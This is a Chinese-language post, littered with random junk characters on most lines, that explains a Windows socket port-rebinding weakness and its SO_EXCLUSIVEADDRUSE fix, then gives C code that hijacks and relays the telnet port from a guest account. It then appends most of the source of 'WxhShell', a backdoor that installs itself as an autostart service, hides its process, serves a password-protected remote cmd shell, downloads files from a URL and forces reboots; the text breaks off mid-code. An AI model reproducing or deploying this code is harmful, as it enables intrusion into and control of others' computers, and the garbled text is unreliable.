在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0N!rIz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-!~pa^j RjUrpS[I saddr.sin_family = AF_INET;
h~sTi o<48' >[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>V)#y$Z 9s5s;ntz" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
nnRb X{cB%to 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Cd^1E]O0{ |qQ6>IZ 这意味着什么?意味着可以进行如下的攻击:
C3=0st$ <Sd ef^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(kX:@9Pn 3;z1Hp2X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?
}ff O m=h/A xW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!sI^Lh,Y l=P)$O|=w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
VSUWX1k4% gA EB 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
w$&;s<0 .u&X:jOE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=[aiW|Y :##$-K*W" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
y]R+/ PyI"B96gz #include
voRb>xF #include
J0&-UnJ #include
B)DuikV.D #include
nvQX)Xf DWORD WINAPI ClientThread(LPVOID lpParam);
jpYZ)
So- int main()
KIY`3Fl09 {
N?rE:0SJ WORD wVersionRequested;
L^CB#5uG DWORD ret;
5>S1lyam WSADATA wsaData;
^ux'-/ BOOL val;
?vWF[ DRd' SOCKADDR_IN saddr;
_
j'm2BAO SOCKADDR_IN scaddr;
"usPzp5 int err;
G
9 &,` SOCKET s;
7ieAd/:_ SOCKET sc;
w?"M int caddsize;
Zr6.Nw HANDLE mt;
g*_n|7pB DWORD tid;
}vP(SF6 wVersionRequested = MAKEWORD( 2, 2 );
>@G"*le*) err = WSAStartup( wVersionRequested, &wsaData );
y~OP9Tg if ( err != 0 ) {
mIrN~)C4\ printf("error!WSAStartup failed!\n");
FnOahLS return -1;
#d<"Ub }
1\lZ&KX$i saddr.sin_family = AF_INET;
<ir]bQT wLI1qoDM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%'. x vC eFy
{VpO+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7nxH>.,Q> saddr.sin_port = htons(23);
-e"kJd&V if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p/LV^TQ {
GHi'ek <?^ printf("error!socket failed!\n");
@+Nf@LJ return -1;
fY=:geB }
fO#nSB/
8 val = TRUE;
:!$+dr(d //SO_REUSEADDR选项就是可以实现端口重绑定的
#Ddo` >`& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
OqH3.@eK {
58mpW`Q printf("error!setsockopt failed!\n");
<f)T*E^5% return -1;
'Zex/:QS }
sc-h O9~k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M.qv'zV`xG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1n6%EC|X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z{
9Io/ ($UUgjv F if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Wzffp}V {
"Il)_Ui ret=GetLastError();
LtUw printf("error!bind failed!\n");
q!><:"#[G return -1;
5mL4Zq" }
G<rAM+B*g listen(s,2);
dqgr98 while(1)
Zf??/+[ {
fpO2bD%$8 caddsize = sizeof(scaddr);
BSr#;;\ //接受连接请求
c1R[Hck sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
H<nA*Zf2@R if(sc!=INVALID_SOCKET)
HHgv,bC! {
23houS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ei}(jlQp if(mt==NULL)
^)`e}} {
2"}Vfy printf("Thread Creat Failed!\n");
!lZ}kz0 break;
5~[][VV^ }
F]N?_ bo }
\?Xoa"^ CloseHandle(mt);
,|#biT-<T }
@0tX,Z9 closesocket(s);
i3L2N~:V WSACleanup();
;jPiD`Kyv return 0;
f}.t }
H|`D3z.c DWORD WINAPI ClientThread(LPVOID lpParam)
IZ Q*D) {
n8\88d SOCKET ss = (SOCKET)lpParam;
K2v[_a~@ SOCKET sc;
?-0, x|ul unsigned char buf[4096];
qrZ3`@C4k SOCKADDR_IN saddr;
d|W=_7z long num;
,E%O_:}R DWORD val;
@S5HMJ2= DWORD ret;
*].qm
g% //如果是隐藏端口应用的话,可以在此处加一些判断
j]- _kjt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>-3>Rjo> saddr.sin_family = AF_INET;
-V"W saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|v#D}E saddr.sin_port = htons(23);
Z rgv* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+.rOqkxJ {
k3Puq1H printf("error!socket failed!\n");
{}RU'<D
return -1;
{z;K0 }
!`W0;0'Zg val = 100;
Gv#bd05X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J5<16}* {
KCp9P2kv. ret = GetLastError();
x",ktE>9 return -1;
rmWsob }
CQ{{J{pU" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Vvfd?G" {
zyP/'X_~: ret = GetLastError();
_sL;E<)y( return -1;
U(OkTJxv+ }
tt6GtYrC 1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
G-:7,9 {
7>0/$i#'Vl printf("error!socket connect failed!\n");
n`jG[{3t& closesocket(sc);
6T_Ya) closesocket(ss);
cc1M9kVi return -1;
0$=U\[og }
+n%8*F& while(1)
sK/ymEfRv {
N
K@6U_/W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
TnKOr~ @* //如果是嗅探内容的话,可以再此处进行内容分析和记录
hOFvM&$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
YuJ{@"H num = recv(ss,buf,4096,0);
}!|$;3t+c if(num>0)
>@-.rkd( send(sc,buf,num,0);
xwHE,ykE else if(num==0)
c7WOcy@M break;
,":_CY4( num = recv(sc,buf,4096,0);
'*@=SM if(num>0)
#i*PwgC%_ send(ss,buf,num,0);
\O,yWyU4 else if(num==0)
q['3M<q break;
}5$le] }
/L|x3RHs closesocket(ss);
TT#V'r\ closesocket(sc);
376z~ return 0 ;
497 l2}0 }
qwn EVjf 0~DsA Ua [T/S/@IT ==========================================================
0=40}n&` m*i,|{UZ 下边附上一个代码,,WXhSHELL
Imclz4'8 +br'
2Pn ==========================================================
JP^x]t: $GhL-sqm #include "stdafx.h"
5'w&M{{9 O CCC' k #include <stdio.h>
^'+#BPo9@ #include <string.h>
vD/l`Ib: #include <windows.h>
1g$xKe~]4 #include <winsock2.h>
j>.1RG #include <winsvc.h>
I1K %n'D #include <urlmon.h>
^R(=4%8%" wM-H5\9n #pragma comment (lib, "Ws2_32.lib")
3.ShAL #pragma comment (lib, "urlmon.lib")
\.P#QVuQ P"@^BQ4 #define MAX_USER 100 // 最大客户端连接数
TXs&*\ #define BUF_SOCK 200 // sock buffer
uI9+@oV #define KEY_BUFF 255 // 输入 buffer
hew"p( ` adgd7JjI* #define REBOOT 0 // 重启
9d=\BBNZ #define SHUTDOWN 1 // 关机
G_ ~qk/7mF E4.A$/s8[ #define DEF_PORT 5000 // 监听端口
j|p=JrCJ f%[xl6VE; #define REG_LEN 16 // 注册表键长度
n 1^h;2gz #define SVC_LEN 80 // NT服务名长度
Ruwp"T}mF VrhHcvnZ // 从dll定义API
"kIlxf3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+<B"g{dLuX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4((p?jbC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:gRVa=}= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
N\?__WlBK7 0Xn,q]@Z // wxhshell配置信息
{CTJX2& struct WSCFG {
^bdXzjf int ws_port; // 监听端口
N{M25ucAHl char ws_passstr[REG_LEN]; // 口令
q,;wD1_wG int ws_autoins; // 安装标记, 1=yes 0=no
>dwWqcP char ws_regname[REG_LEN]; // 注册表键名
Lso%1M char ws_svcname[REG_LEN]; // 服务名
mW,b#'hy char ws_svcdisp[SVC_LEN]; // 服务显示名
Aq>?G+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
'bg'^PN>z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C?<-`$0 int ws_downexe; // 下载执行标记, 1=yes 0=no
y Tk1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
nCA~=[&H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
REsw=P!b G"6XJYoI };
34_
V&8 ]<Q& // default Wxhshell configuration
fy&u[Jd{ struct WSCFG wscfg={DEF_PORT,
#nZPnc: "xuhuanlingzhe",
M}=>~TA@ 1,
!g#y$ "Wxhshell",
A2P.5EN "Wxhshell",
1jPh0?BY "WxhShell Service",
l=$?#^^ / "Wrsky Windows CmdShell Service",
Wk!<P"
nHd "Please Input Your Password: ",
?@6Zv$vZ 1,
|S:erYE,G "
http://www.wrsky.com/wxhshell.exe",
@,W5K$Ka= "Wxhshell.exe"
p&HO~J<w };
6%wlz%Fp "t-9q // 消息定义模块
|=:hUp Jp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r;wm`(e char *msg_ws_prompt="\n\r? for help\n\r#>";
'Ddzlip char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hyhm{RC?[ char *msg_ws_ext="\n\rExit.";
~Ra8(KocD char *msg_ws_end="\n\rQuit.";
:wUi&xw char *msg_ws_boot="\n\rReboot...";
rD !GEU char *msg_ws_poff="\n\rShutdown...";
2{oQ char *msg_ws_down="\n\rSave to ";
oMoco tQ;$ l2Rnyb<;; char *msg_ws_err="\n\rErr!";
it-2]Nw char *msg_ws_ok="\n\rOK!";
j|XL$Q -q?, char ExeFile[MAX_PATH];
]4K4Nh~ int nUser = 0;
VAqZ`y HANDLE handles[MAX_USER];
.}(X19R int OsIsNt;
3hA5"G+7 95ix~cH3q SERVICE_STATUS serviceStatus;
TWfkr SERVICE_STATUS_HANDLE hServiceStatusHandle;
Ya!PV&"Z <l eE.hhf. // 函数声明
;Qc^xIPy int Install(void);
WQBV~.<Yv int Uninstall(void);
QDKY7"H int DownloadFile(char *sURL, SOCKET wsh);
4<f^/!9w int Boot(int flag);
g\iSc~%? void HideProc(void);
Lnq CHe int GetOsVer(void);
)FfS7 C\. int Wxhshell(SOCKET wsl);
f<'D?d)L^ void TalkWithClient(void *cs);
W"A3$/nq^ int CmdShell(SOCKET sock);
6X4r2Vq int StartFromService(void);
z 8#{=e int StartWxhshell(LPSTR lpCmdLine);
nFn} D^f;X.Qm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
38:5g_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
{7_C|z:'p& &78lep // 数据结构和表定义
-uhVw_qq# SERVICE_TABLE_ENTRY DispatchTable[] =
^7=h%{>= {
>Dz8+y {wscfg.ws_svcname, NTServiceMain},
,V zbKx, {NULL, NULL}
gebL6oc% };
0E{DO<~ X[SIk%{D // 自我安装
T!^v^m@>y int Install(void)
\+x#aN\ {
6X!jNh$oF char svExeFile[MAX_PATH];
4C*0MV HKEY key;
,zZ@QW5 strcpy(svExeFile,ExeFile);
ocpM6b.fK ,H$%'s1I( // 如果是win9x系统,修改注册表设为自启动
,&Vir)S if(!OsIsNt) {
3bQq
Nk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5FsfJpw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/1Ss |. RegCloseKey(key);
v0T?c53? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xokA_3,1F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t{`krs`` RegCloseKey(key);
us.IdG return 0;
:X}Ie P }
bwJluJ,E }
0+.<BOcW5 }
Xc~BHEp else {
n_wF_K\h O]@s`w // 如果是NT以上系统,安装为系统服务
IfY?P(P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
o5m]Gqa if (schSCManager!=0)
P5GV9SA {
Rh)%; SC_HANDLE schService = CreateService
`f<w+u (
9Q7342 schSCManager,
HJd{j,M wscfg.ws_svcname,
?>gr9w\ wscfg.ws_svcdisp,
S9'Xsh SERVICE_ALL_ACCESS,
{Eqx'j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r- Y7wM`TZ SERVICE_AUTO_START,
u_FN'p=. SERVICE_ERROR_NORMAL,
{]dvzoE] svExeFile,
"EE(O9q NULL,
t oM+Bd:Y NULL,
[lu+"V,<LJ NULL,
X}ihYM3y/ NULL,
U_Q;WPJ NULL
uh>"TeOi );
- Nt8'- if (schService!=0)
B$S@xD $ {
~~Rq$'q} CloseServiceHandle(schService);
|Nadk(} CloseServiceHandle(schSCManager);
!JVv`YN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
F'JT7#eX strcat(svExeFile,wscfg.ws_svcname);
<Ynrw4[)t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`\/\C[Gg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0;]VTz?P RegCloseKey(key);
ZoCk]hk return 0;
+6^hp-G7 }
Fzn! }
0<^Qj.(9 CloseServiceHandle(schSCManager);
Vo|[Z)MO` }
6uX,J(V, }
64^l/D( 7loWqZ return 1;
PI"6d)S2 }
='-/JH~ kUr/*an // 自我卸载
R38
\&F int Uninstall(void)
Yjl:i*u/ {
o"kL,& HKEY key;
_lC0XDZ "{c@}~ if(!OsIsNt) {
g[\8s~g, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-"XHN=H RegDeleteValue(key,wscfg.ws_regname);
]LMtZUz RegCloseKey(key);
%zhSSB=BJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3T[zieX RegDeleteValue(key,wscfg.ws_regname);
czB),vooz RegCloseKey(key);
zz8NBO return 0;
z(#dL>d$' }
n;~'W*Ln0 }
Qo*OC 9E` }
:?>yi7w else {
&'?Hh( OM`Ws5W}f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~D` if (schSCManager!=0)
U99Uny9 {
=Wz)(N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
A7T(p7pP if (schService!=0)
uC[F'\Y {
Qv)DSl
if(DeleteService(schService)!=0) {
+
+Eu.W; CloseServiceHandle(schService);
ME.!l6lm\ CloseServiceHandle(schSCManager);
Qtt3;5m return 0;
8v=t-GJW }
+WguWLO" CloseServiceHandle(schService);
QT|\TplJt }
Z!4B=?( CloseServiceHandle(schSCManager);
J~h9i=4<bF }
O5:[]vIn }
A+z}z@K O:8Ne*L`D return 1;
=NWzsRl, }
G-#rWZ& ;qcOcm% // 从指定url下载文件
jHV)
TBr int DownloadFile(char *sURL, SOCKET wsh)
-a'D~EGB^ {
Lzx/9PPYn HRESULT hr;
N9u {)u char seps[]= "/";
4E$d"D5]>p char *token;
\{qtdTd char *file;
+F>erdV char myURL[MAX_PATH];
K?yMy,9%Yw char myFILE[MAX_PATH];
7Jpq7; AE Abny
q strcpy(myURL,sURL);
(-@I'CFd token=strtok(myURL,seps);
KHM,lj* while(token!=NULL)
SPauno <M {
q#"lnc<S file=token;
F'@9kdp token=strtok(NULL,seps);
j@4]0o }
mILCC}Kt f?(g5o*2 GetCurrentDirectory(MAX_PATH,myFILE);
o?I`n*u"X strcat(myFILE, "\\");
8:Dkf v strcat(myFILE, file);
4{0vdpo3F send(wsh,myFILE,strlen(myFILE),0);
Fz| r[
send(wsh,"...",3,0);
48{B} j%oU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
29&F_ if(hr==S_OK)
Bp4#"y2 return 0;
l-SVI9|<0 else
4y$okn\}i return 1;
|lyspD ?`75ah }
iEbW[sX[4 7Q~$&G // 系统电源模块
*9`k$' int Boot(int flag)
3~LNz8Z* {
G)gb5VW k HANDLE hToken;
-oY8]HrXfK TOKEN_PRIVILEGES tkp;
cmY `$= )"63g if(OsIsNt) {
&M=15 uCK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
IiY%y:!g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Bm6tf}8 tkp.PrivilegeCount = 1;
7lr;S(C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X9rao n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
KXBTJ& if(flag==REBOOT) {
g3Ul'QJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7_eV.'h return 0;
zXxA" }
Ym$`EN else {
:j`XU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fe}RmnAC return 0;
"kKIv|` }
tv;?W=&P }
2/x~w~3U else {
Z`n "}{ if(flag==REBOOT) {
^}<]sjmk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
C\0,D9 return 0;
>}d6)s| }
fr8';Jm else {
$-\%%n0>6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
cVSns\QO return 0;
GbvbGEG }
hK3Twzte }
8L`wib2 YI]/gWeu return 1;
%2beoH' }
;x/.8fA |_a^+!P // win9x进程隐藏模块
_Ecs{'k void HideProc(void)
~W3t(\B' {
I,r0K] .fK~IKA HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"po;[
Ia2 if ( hKernel != NULL )
\#gguq?[ {
\t? ;p-+ta pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Q*8x Bi1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-1ci.4F& FreeLibrary(hKernel);
IcNZUZGE }
_&]Gw, ~/i ;h#Q!M&e# return;
vJ;0%;eu[! }
}hXmK.[' aED73:b // 获取操作系统版本
Z'd]oNF int GetOsVer(void)
%d
/]8uO {
.4y44: T OSVERSIONINFO winfo;
JYLAu4s6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vpdT2/F GetVersionEx(&winfo);
I~-sBMm(w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6~6 vwp return 1;
d-I=xpB else
kAW2vh return 0;
r]S"i$ }
_OK!/T*FBt %V(U]sbV // 客户端句柄模块
8C I\NR{x8 int Wxhshell(SOCKET wsl)
W>[TFdH? {
s2#}@b6'. SOCKET wsh;
eXkpU7w; struct sockaddr_in client;
&-Q_%eM^ DWORD myID;
&7eN
EA 6?/f$,v while(nUser<MAX_USER)
=$_kkVQ$ {
p;mV?B?oAQ int nSize=sizeof(client);
BNixp[Hc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
D$`$4mX@hP if(wsh==INVALID_SOCKET) return 1;
_znpzr9H e_FoNT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XFi9qL^ if(handles[nUser]==0)
2l~qzT- closesocket(wsh);
LfvRH?<W else
.la_u8A] nUser++;
o%$R`; }
}RQHsS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)0=H)k0 r4]hcoU return 0;
/5?tXH" }
~^o YPd52* m;vm7]5 // 关闭 socket
l_ LH!Tu void CloseIt(SOCKET wsh)
HUel {
Q@Cy\l closesocket(wsh);
!z5Ozm+} nUser--;
-R`nitf ExitThread(0);
Y{8}z
ZD }
$$'[% FyV $`c$ // 客户端请求句柄
GvL\%0Ibx void TalkWithClient(void *cs)
] B>.} {
~hT(uxU/ 4v`;D,dIu SOCKET wsh=(SOCKET)cs;
)\{]4[9N char pwd[SVC_LEN];
`Zci< char cmd[KEY_BUFF];
v\5`n@}4 char chr[1];
[MeFj!( int i,j;
cY|@s?3NND z
AY
-Y while (nUser < MAX_USER) {
E.CG d;).| .}P if(wscfg.ws_passstr) {
eqyUI|e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T t$]
[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q776cj^L //ZeroMemory(pwd,KEY_BUFF);
W}WDj: i=0;
^,Ft7 JAn while(i<SVC_LEN) {
:7s2M B06W(y,3Q> // 设置超时
1:q`KkJx fd_set FdRead;
nDz.61$[ struct timeval TimeOut;
E/ ^N
FD_ZERO(&FdRead);
~{t<g;F FD_SET(wsh,&FdRead);
.nei9Y* TimeOut.tv_sec=8;
f~f)6XU| TimeOut.tv_usec=0;
_F2ofB' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2WB`+oWox if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
c(s: f@ 1 u_Xp\RJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
id>2G
%Tx pwd
=chr[0]; 3k:`7E.
if(chr[0]==0xd || chr[0]==0xa) { 1#|qT7
pwd=0; W O'nW
break; QF$s([
} (?[%u0%_
i++; H4W!@"e
} (:RYd6i
Po\d!
// 如果是非法用户,关闭 socket p,3}A(>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WFvVu3
} bMqFrG
$kxu-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q( %)^C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U(hIT9
K!v\r"N
while(1) { )~ ^`[`
{gB9EGY
ZeroMemory(cmd,KEY_BUFF); }eSrJgF4M
/wi/i*;A
// 自动支持客户端 telnet标准 * b"aJ<+
j=0; sl)]yCD|5
while(j<KEY_BUFF) { s@*i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !HF<fn
cmd[j]=chr[0]; RAA,%rRhu(
if(chr[0]==0xa || chr[0]==0xd) { l=<},_]{
cmd[j]=0; K}p0$Lc
break; ~NIqO4 D
} _TbvQY
j++; -=qHwcId
} U[hokwZ
!j9(%,PR
// 下载文件 *56q4\1
if(strstr(cmd,"http://")) { )4n]n:FjN
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8(* ze+8
if(DownloadFile(cmd,wsh)) *~d<]U5h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,E2c9V'
else Q 34-a"6)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "j=E8Dd}
} a#&\65D
else { H5be 5
sc z8`%
switch(cmd[0]) { .G>~xm0
t6~~s
iQI'
// 帮助 ogoEtKi
case '?': { J4?SC+\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xj JoWB
break; VI)hA
^S
} SU(J
// 安装 z h%b<
case 'i': { fbkAu
if(Install()) f2k~(@!h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DKG;up0
else Zk5AZ R!|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6dYa07
break; iAXF;'|W
} @QDpw1;V'
// 卸载 tZ:fh p
case 'r': { z\Z+>A
if(Uninstall()) 2c3/iYCKP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WmE4TL^8?
else AA}+37@2I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n`p/;D=?
break; m[Qr>= "
} e<"sZK
// 显示 wxhshell 所在路径 3(1UIu
case 'p': { 4hW:c0
char svExeFile[MAX_PATH]; y .a)M?3
strcpy(svExeFile,"\n\r"); W 2A!BaH%
strcat(svExeFile,ExeFile); 5?TX.h9B4
send(wsh,svExeFile,strlen(svExeFile),0); )9+H[
break; E>F6!qYm
} peVzF'F
// 重启 #/)U0IR)
case 'b': { r<'B\.#tp>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %< Jj[F
if(Boot(REBOOT)) %/R[cj8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.(F\2+A
else { FmQiy+.|
closesocket(wsh); 7+rroCr"
ExitThread(0); $^W|@et{
]
} >skl-f
break; t!0 IQ9\[*
} /L` +
// 关机 !iUT Re
case 'd': { 6`5DR~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $"3cN&
if(Boot(SHUTDOWN)) xC2y/?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o>I,$=
else { \$,8aRT>#U
closesocket(wsh); ;B;wU.Y"
ExitThread(0); ?*cCn-|
} `r0MQkk
break; T!>sL=uf
} XKvH^Z4h{l
// 获取shell x'V:qv*O
case 's': { y>ePCDR3
CmdShell(wsh); .<6'*XR
closesocket(wsh); $Eo-58<q
ExitThread(0); s2 $w>L
break; 2=X.$&a
} t5EYu*
// 退出 [\=1|t5n~
case 'x': { }q:4Zh'l!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (1%A@4
CloseIt(wsh); YH&0Vy#c$
break; #}[NleTVt
} l)Mi?B~N
// 离开 `=2p6<#z
case 'q': { *Q;?p
hr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2QKt.a
closesocket(wsh); A#]78lR
WSACleanup(); Xkf|^-n
exit(1); [vxHsY3z
break; ubl)$jZ:Q
} _Pn
1n
} (Z Q?1Qxo
} RHmT$^=
&cy<"y
// 提示信息 Dc0CQGx9b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eU\_m5xl"
} &PFK0tY
} TmJXkR.5
fj[Kbo 7!h
return; M} Mgz
} Zl?9ibm;@
{}BAQ9|q
// shell模块句柄 3lN@1jlh
int CmdShell(SOCKET sock) l_P90zm39!
{ U"L-1]L
STARTUPINFO si; BxB B](
ZeroMemory(&si,sizeof(si)); lDZ~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l_zTpyOZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cw~fP[5XMF
PROCESS_INFORMATION ProcessInfo; t_ \&LMD
char cmdline[]="cmd"; H"wIa8A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rp6q)
return 0; =|H.r9-PK6
} }w{E<C(M
x}#N?d
// 自身启动模式 2g;Id.i>
int StartFromService(void) i>(TPj|
{ /b410NP5
typedef struct 1+qP7 3a^
{ t<e3EW@>>
DWORD ExitStatus; &@'+h*
b
DWORD PebBaseAddress; @GF3g=
DWORD AffinityMask; a?*pO`<J{
DWORD BasePriority; *C.Kdf3w
ULONG UniqueProcessId; }|l7SFst
